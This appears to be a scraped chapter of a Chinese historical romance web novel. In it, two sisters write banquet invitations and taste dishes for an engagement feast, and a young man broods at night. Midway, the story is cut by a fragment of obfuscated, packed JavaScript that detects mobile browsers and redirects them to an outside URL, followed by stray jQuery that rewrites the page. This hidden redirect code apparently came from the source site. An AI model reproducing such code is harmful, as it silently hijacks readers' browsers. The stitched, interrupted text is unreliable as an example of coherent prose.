有楚听忆在旁边帮忙,沈琼夏做起事情来有条不紊,心里也不慌了。
其实她并没有帮多少,最多起到一个陪伴作用。
书房内,沈琼夏坐在那里书写请柬,楚听忆在一旁喝着茶。
她写得十分认真,楚听忆过去看了一眼,突然感觉两眼一黑。
不行,这请柬绝对不能发出去,这要发出去,那才是真正的丢人。
但也不能直说字丑,这样会伤害到人的。
楚听忆假装要拿旁边的东西,衣服上的带子沾了点墨汁,连带着将墨汁滴落到书写好的请柬上。
“哎呀,对不住啊三姐姐,都弄脏了你好不容易写好的。”
沈琼夏表情僵在脸上,她能怎么办?能说是四妹妹故意的吗?
刚才那一系列动作,说不是故意的,反而奇怪吧?
她将笔搁在旁,身子往后瘫,叹息一声。
一上午可将她累得够呛,下人什么事都来问她,脑子都快炸了。
好不容易腾出点时间写请柬,才刚写三封,请柬就被毁。
沈琼夏并非没有自知之明,因为前段时间练字练得多,她就想这次好好露一手。
岂料一落笔还是这副狗爬样子。
她表情苦涩,看着楚听忆:“四妹妹,不如这书写请柬的活儿就交给你吧。”
“那三姐姐就歇会儿吧,你也累了。”
楚听忆正有此意,自己的字虽算不上多好,但起码比这强一些吧,至少能拿得出手。
沈琼夏连忙站起来,伸了个懒腰,将位子留给楚听忆。
她绕过桌子,拿起一个苹果啃起来,站在楚听忆身边,看着她落笔。
她皱了皱眉毛:“怎么同样都是一支笔?四妹妹你写出来这么顺,我写出来好像这毛笔的**在打架似的。”
楚听忆笑着说:“只要多练,总会变好的。”
她缓缓摇头,嘴里苹果嚼个不停:“我闲下来就练字,从小到大都是如此,可就是写不好,该不会我天生就写不了好字吧?”
“不对,该不会是我书房风水不好吧?风水影响了我字不好。”
“啊?这怎么能跟风水挂钩呢?”
她这三姐姐讲起话来有意思得很,常常能将楚听忆逗笑。
“我从话本子上看到的呀,好像是有些关系吧?”
沈琼夏挠着脑袋。
“三姐姐啊,话本子上那些不都是人编的吗?你也是糊涂了,不知三姐姐平时练字都练多久啊?”
沈琼夏想了一下:“我一次都能练一个时辰呢,勤快点儿大概一个月练一回吧,要是不怎么勤快,两三个月练一回也是有的。我前几天可是苦练了一番,连续三天都练。”
楚听忆沉默,她实在不知该如何接话,手中笔不停的写。
一直到傍晚时候,楚听忆总算把一堆请柬写完,此时,她已经手酸到不行了。
沈琼夏看着这一堆都啧舌,居然速度这么快,要是自己来写的话,至少两天才能完成。
连忙上去给楚听忆揉手。
“四妹妹,快把手给我揉揉,真是辛苦了,宴席已经备好了,我方才专门吩咐厨房做了几道好菜,你去试试,看看能不能放在订婚的席面上?”
试菜,算是所有繁杂事情中最幸福的一项。
只要坐在那里吃。
而且光试菜,一试就得好多天才能将菜单子上的内容试完。
最后再从其中选出符合标准的,重新拟成一份新菜单即可。
沈琼夏饭厅的桌子非常大,是楚听忆屋里桌子的两倍,这是她专门让人搬来的宴席桌。
桌上菜肴精致,楚听忆刚才在写请柬的时候,就已经闻到饭菜香,肚子早就打鼓了。
“祖母说了,宴席上的菜是重点中的重点,一定要我们好好选。”
楚听忆坐下就迫不及待动筷子,菜虽重要,但她向来都秉承着一点。
那就是用料名贵、外观精致,味道嘛,过得去就行了。
只有自己的家宴才追求味美。
这些豪门贵族吃宴席,重点不在吃上,而在排场上,只要模样够好看,哪怕味道一般的东西,他们也能记很久。
楚听忆很小的时候,就已经开始操办这种席面了,从未出过一次错。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238615|196595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>熟练了之后,她就有一套自己的章程。
“三姐姐,这个菜不错,记下吧。”
沈琼夏夹起一块尝了口。
“嗯,味道还算特别,这个菜的雕工倒不错,上面那只鸟雕得栩栩如生的。”
楚听忆试菜,可不光光只是吃,她还要思索,这道菜里的东西是否合适,可有何好寓意。
一张纸,一支笔,搁在旁边,想到什么就写下来,之后给厨子看,清晰明了,也好改良。
“四妹妹,这次还好有你,不然这么多事,我都不知道我该怎么办了。”
“三姐姐,这些事不必心急的,慢慢来,总能做好。”
“还是我四妹妹好啊,来,奖励你一个大鸡腿。”
楚听忆已经吃不下了,这么大一个鸡腿,她看着都想吐,但也得勉为其难,象征性吃一口。
晚上楚听忆肚子撑得难受,刚才吃饭的时候,沈琼夏一直给她夹菜,三姐姐的一番心意,又不好不接受。
熄灯之后,楚听忆的床上散着微弱的光,夜里本来暗得很,只能依靠月光勉强视物。
她将张却尘给的那颗夜明珠挂在床头,珠子非常明亮,像颗小月亮似的。
“算是给了点有用的东西。”
楚听忆伸手摸了摸夜明珠,冰冰凉凉的,立马将手缩了回去。
能感觉出,珠子并不是因为天气冷才凉,而是它本身就凉。
楚听忆嘴里喃喃:“这么稀奇啊,若是在夏日,应该能解暑。”
她伴着夜明珠的光,睡下了。
而张却尘迟迟未睡,最近永宁侯府整体洋溢喜气洋洋的氛围,但他却并没有被这些而感染。
他整日都在烦恼齐昭国的事,每每看到那些喜气的东西,就会莫名感到刺目。
他觉得自己怪得很,人家喜事将近,怎么自己这种情绪?
他闭上眼睛,强迫自己睡下,没一会儿,脑海中疯狂地浮现沈琼澜那张脸。
他突然坐起来,手指**发间,最近总这样,莫名想起她,他每次看到沈琼澜,都忍不住靠近。
难不成,她给自己下了蛊?